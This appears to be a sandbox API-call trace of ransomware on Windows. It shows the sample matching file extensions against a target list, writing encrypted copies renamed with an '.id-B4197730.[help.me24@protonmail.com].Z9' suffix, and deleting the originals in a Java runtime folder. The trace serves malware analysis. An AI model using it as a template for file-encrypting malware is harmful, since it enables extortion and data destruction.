	[0093.823] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.823] lstrlenW (lpString=".xlsx") returned 5
	[0093.823] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0093.824] lstrlenW (lpString=".ppt") returned 4
	[0093.824] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0093.824] lstrlenW (lpString=".zip") returned 4
	[0093.824] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.824] lstrlenW (lpString=".rar") returned 4
	[0093.824] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.824] lstrlenW (lpString=".bz2") returned 4
	[0093.824] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.824] lstrlenW (lpString=".7z") returned 3
	[0093.824] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0093.824] lstrlenW (lpString=".dbf") returned 4
	[0093.824] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0093.824] lstrlenW (lpString=".1cd") returned 4
	[0093.824] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.824] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46
	[0093.824] lstrlenW (lpString=".jpg") returned 4
	[0093.824] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.824] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0093.824] lstrlenW (lpString="jp2launcher.exe") returned 15
	[0093.824] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0093.825] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=112192) returned 1
	[0093.825] CloseHandle (hObject=0x378) returned 1
	[0093.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 0x20
	[0093.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.825] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0093.825] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.825] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.825] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0093.826] GetLastError () returned 0x0
	[0093.826] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x1b640, lpOverlapped=0x0) returned 1
	[0093.969] WriteFile (in: hFile=0x364, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x1b650, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x1b650, lpOverlapped=0x0) returned 1
	[0093.971] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.971] WriteFile (in: hFile=0x364, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf2, lpOverlapped=0x0) returned 1
	[0093.972] SetEndOfFile (hFile=0x364) returned 1
	[0093.972] CloseHandle (hObject=0x364) returned 1
	[0093.972] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.972] SetEndOfFile (hFile=0x378) returned 1
	[0093.973] CloseHandle (hObject=0x378) returned 1
	[0093.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.973] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 1
	[0093.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0093.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0093.989] lstrlenW (lpString=".doc") returned 4
	[0093.989] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0093.989] lstrlenW (lpString=".docx") returned 5
	[0093.989] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0093.989] lstrlenW (lpString=".pdf") returned 4
	[0093.989] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.989] lstrlenW (lpString=".xls") returned 4
	[0093.989] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.989] lstrlenW (lpString=".xlsx") returned 5
	[0093.989] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0093.989] lstrlenW (lpString=".ppt") returned 4
	[0093.989] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0093.989] lstrlenW (lpString=".zip") returned 4
	[0093.989] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.989] lstrlenW (lpString=".rar") returned 4
	[0093.989] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.989] lstrlenW (lpString=".bz2") returned 4
	[0093.989] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.989] lstrlenW (lpString=".7z") returned 3
	[0093.989] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0093.989] lstrlenW (lpString=".dbf") returned 4
	[0093.989] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0093.990] lstrlenW (lpString=".1cd") returned 4
	[0093.990] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0093.990] lstrlenW (lpString=".jpg") returned 4
	[0093.990] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0093.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0093.990] lstrlenW (lpString=".doc") returned 4
	[0093.990] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0093.990] lstrlenW (lpString=".docx") returned 5
	[0093.990] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0093.990] lstrlenW (lpString=".pdf") returned 4
	[0093.990] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.990] lstrlenW (lpString=".xls") returned 4
	[0093.990] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.990] lstrlenW (lpString=".xlsx") returned 5
	[0093.990] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0093.990] lstrlenW (lpString=".ppt") returned 4
	[0093.990] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0093.990] lstrlenW (lpString=".zip") returned 4
	[0093.990] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.990] lstrlenW (lpString=".rar") returned 4
	[0093.990] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.990] lstrlenW (lpString=".bz2") returned 4
	[0093.990] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.990] lstrlenW (lpString=".7z") returned 3
	[0093.990] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0093.990] lstrlenW (lpString=".dbf") returned 4
	[0093.990] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0093.990] lstrlenW (lpString=".1cd") returned 4
	[0093.990] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe") returned 54
	[0093.991] lstrlenW (lpString=".jpg") returned 4
	[0093.991] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.991] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.991] lstrlenW (lpString="jp2ssv.dll") returned 10
	[0093.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0093.995] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=235584) returned 1
	[0093.995] CloseHandle (hObject=0x384) returned 1
	[0093.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 0x20
	[0094.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.001] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0094.001] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.001] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.001] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0094.002] GetLastError () returned 0x0
	[0094.002] ReadFile (in: hFile=0x358, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x39840, lpOverlapped=0x0) returned 1
	[0094.066] WriteFile (in: hFile=0x324, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x39850, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x39850, lpOverlapped=0x0) returned 1
	[0094.070] ReadFile (in: hFile=0x358, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.070] WriteFile (in: hFile=0x324, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0094.070] SetEndOfFile (hFile=0x324) returned 1
	[0094.070] CloseHandle (hObject=0x324) returned 1
	[0094.070] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.070] SetEndOfFile (hFile=0x358) returned 1
	[0094.073] CloseHandle (hObject=0x358) returned 1
	[0094.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.073] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 1
	[0094.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0094.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0094.080] lstrlenW (lpString=".doc") returned 4
	[0094.080] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.080] lstrlenW (lpString=".docx") returned 5
	[0094.080] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1
	[0094.080] lstrlenW (lpString=".pdf") returned 4
	[0094.080] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.080] lstrlenW (lpString=".xls") returned 4
	[0094.080] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.080] lstrlenW (lpString=".xlsx") returned 5
	[0094.080] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1
	[0094.080] lstrlenW (lpString=".ppt") returned 4
	[0094.080] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0094.080] lstrlenW (lpString=".zip") returned 4
	[0094.080] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.081] lstrlenW (lpString=".rar") returned 4
	[0094.081] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.081] lstrlenW (lpString=".bz2") returned 4
	[0094.081] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.081] lstrlenW (lpString=".7z") returned 3
	[0094.081] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0094.081] lstrlenW (lpString=".dbf") returned 4
	[0094.081] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0094.081] lstrlenW (lpString=".1cd") returned 4
	[0094.081] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0094.081] lstrlenW (lpString=".jpg") returned 4
	[0094.081] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0094.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0094.081] lstrlenW (lpString=".doc") returned 4
	[0094.081] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.081] lstrlenW (lpString=".docx") returned 5
	[0094.081] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1
	[0094.081] lstrlenW (lpString=".pdf") returned 4
	[0094.081] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.081] lstrlenW (lpString=".xls") returned 4
	[0094.081] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.081] lstrlenW (lpString=".xlsx") returned 5
	[0094.081] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1
	[0094.081] lstrlenW (lpString=".ppt") returned 4
	[0094.081] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0094.081] lstrlenW (lpString=".zip") returned 4
	[0094.081] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.081] lstrlenW (lpString=".rar") returned 4
	[0094.081] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.081] lstrlenW (lpString=".bz2") returned 4
	[0094.082] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.082] lstrlenW (lpString=".7z") returned 3
	[0094.082] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0094.082] lstrlenW (lpString=".dbf") returned 4
	[0094.082] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0094.103] lstrlenW (lpString=".1cd") returned 4
	[0094.104] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49
	[0094.104] lstrlenW (lpString=".jpg") returned 4
	[0094.104] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.104] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.104] lstrlenW (lpString="jsoundds.dll") returned 12
	[0094.104] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0094.106] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=31296) returned 1
	[0094.106] CloseHandle (hObject=0x358) returned 1
	[0094.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 0x20
	[0094.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.122] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0094.122] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.122] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.122] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0094.146] GetLastError () returned 0x0
	[0094.146] ReadFile (in: hFile=0x38c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x7a40, lpOverlapped=0x0) returned 1
	[0094.211] WriteFile (in: hFile=0x368, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x7a50, lpOverlapped=0x0) returned 1
	[0094.213] ReadFile (in: hFile=0x38c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.213] WriteFile (in: hFile=0x368, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.213] SetEndOfFile (hFile=0x368) returned 1
	[0094.213] CloseHandle (hObject=0x368) returned 1
	[0094.213] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.213] SetEndOfFile (hFile=0x38c) returned 1
	[0094.214] CloseHandle (hObject=0x38c) returned 1
	[0094.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.214] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 1
	[0094.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0094.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0094.215] lstrlenW (lpString=".doc") returned 4
	[0094.215] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.215] lstrlenW (lpString=".docx") returned 5
	[0094.215] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0094.215] lstrlenW (lpString=".pdf") returned 4
	[0094.215] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.215] lstrlenW (lpString=".xls") returned 4
	[0094.215] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.215] lstrlenW (lpString=".xlsx") returned 5
	[0094.215] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0094.215] lstrlenW (lpString=".ppt") returned 4
	[0094.215] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0094.241] lstrlenW (lpString=".zip") returned 4
	[0094.241] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.241] lstrlenW (lpString=".rar") returned 4
	[0094.241] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.241] lstrlenW (lpString=".bz2") returned 4
	[0094.241] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.241] lstrlenW (lpString=".7z") returned 3
	[0094.241] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0094.241] lstrlenW (lpString=".dbf") returned 4
	[0094.241] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0094.241] lstrlenW (lpString=".1cd") returned 4
	[0094.241] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0094.241] lstrlenW (lpString=".jpg") returned 4
	[0094.241] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0094.241] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0094.242] lstrlenW (lpString=".doc") returned 4
	[0094.242] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.242] lstrlenW (lpString=".docx") returned 5
	[0094.242] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0094.242] lstrlenW (lpString=".pdf") returned 4
	[0094.242] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.242] lstrlenW (lpString=".xls") returned 4
	[0094.242] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.242] lstrlenW (lpString=".xlsx") returned 5
	[0094.242] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0094.242] lstrlenW (lpString=".ppt") returned 4
	[0094.242] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0094.242] lstrlenW (lpString=".zip") returned 4
	[0094.242] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.242] lstrlenW (lpString=".rar") returned 4
	[0094.242] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.242] lstrlenW (lpString=".bz2") returned 4
	[0094.242] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.242] lstrlenW (lpString=".7z") returned 3
	[0094.242] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0094.242] lstrlenW (lpString=".dbf") returned 4
